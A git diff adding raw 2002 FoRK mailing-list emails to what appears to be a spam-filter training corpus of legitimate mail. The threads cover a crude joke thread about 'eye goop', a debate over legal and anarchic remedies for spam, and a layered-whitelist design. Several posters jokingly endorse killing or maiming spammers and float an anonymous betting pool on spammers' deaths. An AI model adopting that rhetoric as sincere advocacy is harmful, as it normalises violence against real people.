fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 9 Aug 2002 13:54:59 -0400 (EDT) + +On 9 Aug 2002, James Rogers wrote: + +--]my version of the English language as the word for "eye goop". Arguably +--]better than "smegma" anyway. + +Unless of course the goop in your eye was a result of a botched tea +bagging. + +Muta, I like that. + +-tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00987.1d700056f6a043acd5d388ca81fa0b1f b/bayes/spamham/easy_ham_2/00987.1d700056f6a043acd5d388ca81fa0b1f new file mode 100644 index 0000000..503cbaf --- /dev/null +++ b/bayes/spamham/easy_ham_2/00987.1d700056f6a043acd5d388ca81fa0b1f @@ -0,0 +1,101 @@ +From fork-admin@xent.com Mon Aug 12 11:07:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4C39844161 + for ; Mon, 12 Aug 2002 05:56:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:12 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79IL0b19672 for ; + Fri, 9 Aug 2002 19:21:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A7591294132; Fri, 9 Aug 2002 11:17:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 68024294109 for ; + Fri, 9 Aug 2002 11:16:15 -0700 (PDT) +Received: from maya.dyndns.org (ts5-023.ptrb.interhop.net + [165.154.190.87]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g79HpT310568 for ; Fri, 9 Aug 2002 13:51:30 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id ED7CC1C3B5; + Fri, 9 Aug 2002 14:10:58 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: David Friedman: Mail Me the Money! +References: + <3D53F778.3020102@cse.ucsc.edu> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 09 Aug 2002 14:10:58 -0400 + +>>>>> "E" == Elias Sinderson writes: + + E> Gary Lawrence Murphy wrote + >>>>>>> "R" == Russell Turpin writes: + >>>>>>> + >> + R> ... spam is the result of government. The government is + R> ineffective at preventing spam, but it DOES prevent individuals + R> and ISPs from taking retribution against spammers. + + >> I don't understand this assertion. Can you explain? ... So + >> where does government come in to foster this? + >> + E> The government prevents me from hunting them down and flossing + E> with their sinew after I'm done with them. + +This only restates the assertion, it doesn't clarify /how/ government +restrains you, other than under laws of criminal conduct and violent +crimes (if you meant the above literally) + +If I can trace a spammer to their ISP, I can /generally/ get that +account revoked, and if you trace one to their parent corporation, I +don't know of any law that specifically /exempts/ them from lawsuits, +it's just that no one has yet succeeded in any important way. If you +have some law that prevents action against spammers, then why all the +class-action suits and other anti-spam court cases, some even +state-funded? + +I'm also curious of the mechanics of your retribution strategy: Let's +say you did win a lawsuit and shut down the largest spammer network in +the USA, do you really believe 40 Beijing spammers won't fill the +void? Do you really believe those 40 are not right now prepping their +mail servers whether or not you prevail over your countrymen? How do +you intend to take legal (and/or violent) action against people a +world away and in a culture you can barely understand let alone +understand how to properly bribe? + +I'm not so hopeful this method can work against aromatherapy viagra +when we can't even track and convict murderous Nigerian mafia, and +they are blatant! Political solution is a contradiction in terms, and +it's also true that no lawmaker has ever been even a tenth the +catalyst on improving the quality of life in Britain and the western +world as did central heating and the invention of one A.J.Crapper. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00988.9e70e36279a165e0c9e74fabf904b6ba b/bayes/spamham/easy_ham_2/00988.9e70e36279a165e0c9e74fabf904b6ba new file mode 100644 index 0000000..b7589a1 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00988.9e70e36279a165e0c9e74fabf904b6ba @@ -0,0 +1,61 @@ +From fork-admin@xent.com Mon Aug 12 11:07:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D709344162 + for ; Mon, 12 Aug 2002 05:56:13 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:13 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79IS6b19978 for ; + Fri, 9 Aug 2002 19:28:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A0CBE29413B; Fri, 9 Aug 2002 11:21:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f230.law15.hotmail.com [64.4.23.230]) by + xent.com (Postfix) with ESMTP id 2671129413A for ; + Fri, 9 Aug 2002 11:20:18 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 9 Aug 2002 11:21:03 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Fri, 09 Aug 2002 18:21:02 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: David Friedman: Mail Me the Money! +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 09 Aug 2002 18:21:03.0197 (UTC) FILETIME=[850160D0:01C23FD1] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 18:21:02 +0000 + +Gary Lawrence Murphy: +>Back before they had such clever software, I used to hunt spammers like +>swamp-rats .. + +Good for you! You did the world a favor. Personally, +I wouldn't know where to hide the bodies. But if +the government didn't have this -- um, fussiness -- +about shooting vermin, the spam problem would +disappear rather quickly. + + +_________________________________________________________________ +Chat with friends online, try MSN Messenger: http://messenger.msn.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00989.472472e767248959f3ca93059b019569 b/bayes/spamham/easy_ham_2/00989.472472e767248959f3ca93059b019569 new file mode 100644 index 0000000..6537258 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00989.472472e767248959f3ca93059b019569 @@ -0,0 +1,71 @@ +From fork-admin@xent.com Mon Aug 12 11:08:06 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3EC7044163 + for ; Mon, 12 Aug 2002 05:56:15 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:15 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79IXHb20186 for ; + Fri, 9 Aug 2002 19:33:20 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id BE16E29413E; Fri, 9 Aug 2002 11:23:04 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 3F5B729413E for ; + Fri, 9 Aug 2002 11:22:00 -0700 (PDT) +Received: from maya.dyndns.org (ts5-023.ptrb.interhop.net + [165.154.190.87]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g79Huk311084; Fri, 9 Aug 2002 13:57:05 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 5920A1C3B8; + Fri, 9 Aug 2002 14:15:33 -0400 (EDT) +To: Luis Villa +Cc: fork +Subject: Re: Shatter Attacks - How to break Windows +References: + <1028914070.16891.40.camel@10-0-0-223.boston.ximian.com> +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 09 Aug 2002 14:15:33 -0400 + +>>>>> "L" == Luis Villa writes: + + L> ... So, yeah, it's a new attack, but it's not nearly as + L> devastating an MS critique as the author wants us to believe + +Good to know ... not being an MS user, I have no means to evaluate +these things so it's best to get a second opinion ;) + +Besides, I shudder to think of the pandemonium that would ensue if we +had to /deploy/ the present states of Lycoris or Lindows in it's +stead! As the Big Joe Williams song goes, "Next week, sometime, but +no, not now." + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00990.3a91d53e9908fc65cf31a6c57e2a844d b/bayes/spamham/easy_ham_2/00990.3a91d53e9908fc65cf31a6c57e2a844d new file mode 100644 index 0000000..8d64463 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00990.3a91d53e9908fc65cf31a6c57e2a844d @@ -0,0 +1,63 @@ +From fork-admin@xent.com Mon Aug 12 11:08:09 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B12C144164 + for ; Mon, 12 Aug 2002 05:56:17 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:17 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79Kx5b25201 for ; + Fri, 9 Aug 2002 21:59:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 73F8F294109; Fri, 9 Aug 2002 13:55:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f221.law15.hotmail.com [64.4.23.221]) by + xent.com (Postfix) with ESMTP id 601F2294108 for ; + Fri, 9 Aug 2002 13:54:48 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 9 Aug 2002 13:55:39 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Fri, 09 Aug 2002 20:55:39 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re[2]: Bukkake +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 09 Aug 2002 20:55:39.0522 (UTC) FILETIME=[1E203E20:01C23FE7] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 20:55:39 +0000 + +James Rogers: +>I don't think there is a specific word in English +>for eye goop. + +"Sleep. n. .. 3. A crust of dried tears or mucus +normally forming around the inner rim of the eye +during sleep." + +But I think muta is a fine word for it. + + + +_________________________________________________________________ +Join the world’s largest e-mail service with MSN Hotmail. +http://www.hotmail.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00991.80ac3c798bb00027efa6d80fdfb00d8e b/bayes/spamham/easy_ham_2/00991.80ac3c798bb00027efa6d80fdfb00d8e new file mode 100644 index 0000000..114aaf9 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00991.80ac3c798bb00027efa6d80fdfb00d8e @@ -0,0 +1,99 @@ +From fork-admin@xent.com Mon Aug 12 11:08:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C6A7E44102 + for ; Mon, 12 Aug 2002 05:56:18 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:18 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79LMAb25895 for ; + Fri, 9 Aug 2002 22:22:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 7F6D62940DF; Fri, 9 Aug 2002 14:18:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from hotmail.com (f165.law15.hotmail.com [64.4.23.165]) by + xent.com (Postfix) with ESMTP id 0DE052940AA for ; + Fri, 9 Aug 2002 14:17:33 -0700 (PDT) +Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; + Fri, 9 Aug 2002 14:18:22 -0700 +Received: from 216.30.74.2 by lw15fd.law15.hotmail.msn.com with HTTP; + Fri, 09 Aug 2002 21:18:22 GMT +X-Originating-Ip: [216.30.74.2] +From: "Russell Turpin" +To: fork@spamassassin.taint.org +Subject: Re: David Friedman: Mail Me the Money! +MIME-Version: 1.0 +Content-Type: text/plain; format=flowed +Message-Id: +X-Originalarrivaltime: 09 Aug 2002 21:18:22.0878 (UTC) FILETIME=[4ABFDBE0:01C23FEA] +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 09 Aug 2002 21:18:22 +0000 + +Gary Murphy: +>How do you intend to take legal (and/or violent) action against people a +>world away and in a culture you can barely understand let alone +>understand how to properly bribe? I'm not so hopeful this method can work +>against aromatherapy viagra when we can't even track and convict murderous +>Nigerian mafia, and they are blatant! + +Spammers fall into two categories. The more +difficult case are those whose back-end business +can be executed entirely in a foreign nation, such +as the 419 spammers. And you're right: there's not +much we can do about those, except filter them in +various ways. But the vast majority of spammers +have a back-end business that requires a native +presence. Debt consolidation. Mortgages. Herbalife +and other MLMs. Even porn sites require credit +card transactions. That means the people responsible +CAN be found. + +>I don't know of any law that specifically /exempts/ them from lawsuits, +>it's just that no one has yet succeeded in any important way. + +There have been some successful suits, but (a) it +takes too much effort, and (b) the result isn't enough +to deter the spammer. But you're talking about action +constrained by law. In an anarchy, people act more +directly, with less cost, and to more effect. Spammers +very quickly would learn their lesson. Except for the +ones who ply their scam in a foreign country. + +Of course, that's assuming there are ISPs and other +infrastructure in an anarchy. Arguing about how things +would work without the state involves a large degree +of counterfactual reasoning. + +>no lawmaker has ever been even a tenth the catalyst on improving the +>quality of life in Britain and the western world as did central heating and +>the invention of one A.J.Crapper. + +Hmm. I've lived most of my life in houses that did +not have central heating, including my current abode. +As to the crapper, it did not do nearly as much to +improve waste management in cities as did the public +sewers which it feeds, and the water lines that supply +it. Without these, you would find that a chamber pot +works just as well. + + +_________________________________________________________________ +MSN Photos is the easiest way to share and print your photos: +http://photos.msn.com/support/worldwide.aspx + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00992.91679f7e3d6ad40632b65677798ff66c b/bayes/spamham/easy_ham_2/00992.91679f7e3d6ad40632b65677798ff66c new file mode 100644 index 0000000..d0d66f7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00992.91679f7e3d6ad40632b65677798ff66c @@ -0,0 +1,65 @@ +From fork-admin@xent.com Mon Aug 12 11:08:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2105444165 + for ; Mon, 12 Aug 2002 05:56:20 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:20 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79Lpvb26692 for ; + Fri, 9 Aug 2002 22:51:59 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 3E2412940F4; Fri, 9 Aug 2002 14:48:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from Boron.MeepZor.Com (i.meepzor.com [204.146.167.214]) by + xent.com (Postfix) with ESMTP id 041642940DA for ; + Fri, 9 Aug 2002 14:47:53 -0700 (PDT) +Received: from sashimi (dmz-firewall [206.199.198.4]) by Boron.MeepZor.Com + (8.11.6/8.11.6) with SMTP id g79LmkQ21345 for ; + Fri, 9 Aug 2002 17:48:46 -0400 +From: "Bill Stoddard" +To: +Subject: RE: Re[2]: Bukkake +Message-Id: +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 (Normal) +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0) +Importance: Normal +In-Reply-To: +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 9 Aug 2002 17:49:13 -0400 + + +> James Rogers: +> >I don't think there is a specific word in English +> >for eye goop. +> +> "Sleep. n. .. 3. A crust of dried tears or mucus +> normally forming around the inner rim of the eye +> during sleep." +> +> But I think muta is a fine word for it. + +Muta is good but if Bukkake is not eye goop, then what is? + +B +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00993.cff996c201ffd0122c92ff6b670afc96 b/bayes/spamham/easy_ham_2/00993.cff996c201ffd0122c92ff6b670afc96 new file mode 100644 index 0000000..1d8fa20 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00993.cff996c201ffd0122c92ff6b670afc96 @@ -0,0 +1,69 @@ +From fork-admin@xent.com Mon Aug 12 11:08:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 4FAD444105 + for ; Mon, 12 Aug 2002 05:56:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:27 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79NIvb29721 for ; + Sat, 10 Aug 2002 00:19:00 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 18BC52940C3; Fri, 9 Aug 2002 16:15:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 472132940AB for + ; Fri, 9 Aug 2002 16:14:46 -0700 (PDT) +Received: (qmail 28452 invoked by uid 508); 9 Aug 2002 23:15:35 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (217.80.40.22) by + venus.phpwebhosting.com with SMTP; 9 Aug 2002 23:15:35 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g79NFTF03914; Sat, 10 Aug 2002 01:15:29 + +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: Gary Lawrence Murphy +Cc: +Subject: Re: David Friedman: Mail Me the Money! +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 10 Aug 2002 01:15:29 +0200 (CEST) + +On 9 Aug 2002, Gary Lawrence Murphy wrote: + +> This only restates the assertion, it doesn't clarify /how/ government +> restrains you, other than under laws of criminal conduct and violent +> crimes (if you meant the above literally) + +Of course. What we need is an anonymous betting pool on prominent +spammer's time of demise. Unfortunately, the government tends to take a +dim view of this, for some unfathomable reason. + +> If I can trace a spammer to their ISP, I can /generally/ get that +> account revoked, and if you trace one to their parent corporation, I + +Uh, account revokation doesn't have quite the same level of deterrence as +cranial indentation with a heavy, blunt object. Honestly, how many people +will still spam if they knew they'd be running a real risk of losing life +and limb? + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00994.ffa3e87109fc0b9d3c94ee376db7f549 b/bayes/spamham/easy_ham_2/00994.ffa3e87109fc0b9d3c94ee376db7f549 new file mode 100644 index 0000000..89a7b6d --- /dev/null +++ b/bayes/spamham/easy_ham_2/00994.ffa3e87109fc0b9d3c94ee376db7f549 @@ -0,0 +1,88 @@ +From fork-admin@xent.com Mon Aug 12 11:08:40 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 25E76440F1 + for ; Mon, 12 Aug 2002 05:56:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:26 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g79MRZb27985 for ; + Fri, 9 Aug 2002 23:27:37 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 309D7294145; Fri, 9 Aug 2002 15:19:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id E8F8E294144 for ; Fri, + 9 Aug 2002 15:18:26 -0700 (PDT) +Received: (qmail 16183 invoked from network); 9 Aug 2002 22:18:49 -0000 +Received: from adsl-66-124-225-184.dsl.snfc21.pacbell.net (HELO golden) + (66.124.225.184) by relay1.pair.com with SMTP; 9 Aug 2002 22:18:49 -0000 +X-Pair-Authenticated: 66.124.225.184 +Message-Id: <015101c23ff2$bb9ded40$640a000a@golden> +From: "Gordon Mohr" +To: +References: +Subject: Re: David Friedman: Mail Me the Money! +MIME-Version: 1.0 +Content-Type: text/plain; charset="Windows-1252" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 9 Aug 2002 15:18:47 -0700 + +My ideal mailwall will allow message passthrough in many ways: + + - Sender membership on my personal whitelist or any one of + many other external whitelists I respect + - Payment of a small fee (via a website and PayPal link) + - Demonstration of special per-message effort, either + via... + - a computational challenge (hashcash) + or + - other challenge that requires human-level flexibility & + followthrough (sender manual whitelisting) + - Inclusion of a legally-enforceable guarantee that the + mail is not an unsolicited commercial pitch -- one + example of this class of guarantee would be a posted + bond + - By convincing some analysis software agent of mine that + I want to see the mail, based on its content and + distribution list + +There's no need to do only one. Some might overlap; the manual +process for passing a message through might require the assertion +of a legally-enforceable guarantee about the messages' contents. +Passing certain tests once might add an address to the persistent +whitelist. + +Any slightly determined and legitimate correspondent would be +able to find multiple ways to get their mail read, while spammers +would face a situation where the marginal cost of reaching me +is much, much greater than the expected return. + +Some economically irrational spammers (and religious/political +zealots) would get through, but such traffic should be a +background trickle rather than an annoying torrent. + +- Gordon + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00995.5171f58b6df2d565f3bca02ee548e013 b/bayes/spamham/easy_ham_2/00995.5171f58b6df2d565f3bca02ee548e013 new file mode 100644 index 0000000..266e5b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00995.5171f58b6df2d565f3bca02ee548e013 @@ -0,0 +1,68 @@ +From fork-admin@xent.com Mon Aug 12 11:09:17 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BD33F44169 + for ; Mon, 12 Aug 2002 05:56:34 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:34 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7A2jvb05152 for ; + Sat, 10 Aug 2002 03:46:00 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 07AA329413E; Fri, 9 Aug 2002 19:42:05 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp1.auracom.net (smtp1.auracom.net [165.154.140.23]) by + xent.com (Postfix) with ESMTP id 0DBCA2940D1 for ; + Fri, 9 Aug 2002 19:41:47 -0700 (PDT) +Received: from maya.dyndns.org (ts5-008.ptrb.interhop.net + [165.154.190.72]) by smtp1.auracom.net (8.11.2/8.11.2) with ESMTP id + g7A2H6218198 for ; Fri, 9 Aug 2002 22:17:07 -0400 (EDT) +Received: by maya.dyndns.org (Postfix, from userid 501) id 166181C3B8; + Fri, 9 Aug 2002 21:06:06 -0400 (EDT) +To: fork@spamassassin.taint.org +Subject: Re: David Friedman: Mail Me the Money! +References: +From: Gary Lawrence Murphy +X-Home-Page: http://www.teledyn.com +Organization: TCI Business Innovation through Open Source Computing +Message-Id: +Reply-To: Gary Lawrence Murphy +X-Url: http://www.teledyn.com/ +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 09 Aug 2002 21:06:06 -0400 + +>>>>> "R" == Russell Turpin writes: + + R> Hmm. I've lived most of my life in houses that did not have + R> central heating, including my current abode. As to the + R> crapper, it did not do nearly as much to improve waste + R> management in cities as did the public sewers which it feeds, + R> and the water lines that supply it. Without these, you would + R> find that a chamber pot works just as well. + +The particulars may be negotiable, but even in your list there is not +one _political_ solution, only technical ones. QED. + +-- +Gary Lawrence Murphy TeleDynamics Communications Inc +Business Innovations Through Open Source Systems: http://www.teledyn.com +"Computers are useless. They can only give you answers."(Pablo Picasso) + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00996.5b140bb40fe22ba082fb18bbaca76ffd b/bayes/spamham/easy_ham_2/00996.5b140bb40fe22ba082fb18bbaca76ffd new file mode 100644 index 0000000..43e2a97 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00996.5b140bb40fe22ba082fb18bbaca76ffd @@ -0,0 +1,74 @@ +From fork-admin@xent.com Mon Aug 12 11:09:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5B55444168 + for ; Mon, 12 Aug 2002 05:56:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:56:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7A0dub01964 for ; + Sat, 10 Aug 2002 